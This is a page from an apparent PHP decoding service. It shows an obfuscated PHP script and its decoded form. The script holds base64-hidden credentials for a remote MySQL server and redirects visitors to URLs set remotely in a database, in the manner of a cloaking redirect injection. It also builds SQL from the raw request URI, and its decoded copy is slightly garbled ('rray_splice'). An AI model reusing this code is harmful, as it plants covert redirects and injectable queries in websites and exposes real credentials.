Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $url=$_SERVER['REQUEST_URI'];$result=str_split($url);$x=strlen($url);$x--;$y=$result..

Decoded Output download

<?php $url=$_SERVER['REQUEST_URI'];$result=str_split($url);$x=strlen($url);$x--;$y=$result[$x];if($y=="/"){rray_splice($result,$x,1);$url=implode('',$result);}foreach(explode(' ','MTM0LjIwOS40MS4yMjg= dXNlcg== U3lzdGVtYXRpY0BwYXR0ZXJuczg5MA== bGlua3M=')as $d){$di[]=base64_decode($d);}$connection=mysqli_connect($di[0],$di[1],$di[2],$di[3]);$query="SELECT * FROM `links` WHERE link ='$url'";$result=mysqli_query($connection,$query);while($row=mysqli_fetch_assoc($result))extract($row);mysqli_close($connection);if($url==$link){if($mode=='on'){header("Location: $onlink");exit();}if($mode=='off'){header("Location: $offlink");exit();}}else{echo '';}unset($onlink);unset($offlink);unset($result);unset($url); ?>

Did this file decode correctly?

Original Code

<?php $url=$_SERVER['REQUEST_URI'];$result=str_split($url);$x=strlen($url);$x--;$y=$result[$x];if($y=="/"){\array_splice($result,$x,1);$url=implode('',$result);}foreach(explode(' ','MTM0LjIwOS40MS4yMjg= dXNlcg== U3lzdGVtYXRpY0BwYXR0ZXJuczg5MA== bGlua3M=')as $d){$di[]=base64_decode($d);}$connection=mysqli_connect($di[0],$di[1],$di[2],$di[3]);$query="SELECT * FROM `links` WHERE link ='$url'";$result=mysqli_query($connection,$query);while($row=mysqli_fetch_assoc($result))extract($row);mysqli_close($connection);if($url==$link){if($mode=='on'){header("Location: $onlink");exit();}if($mode=='off'){header("Location: $offlink");exit();}}else{echo '';}unset($onlink);unset($offlink);unset($result);unset($url); ?>

Function Calls

str_split 1

Variables

$url None

Stats

MD5 bafbb156f165dd5e383026380afa01b1
Eval Count 0
Decode Time 40 ms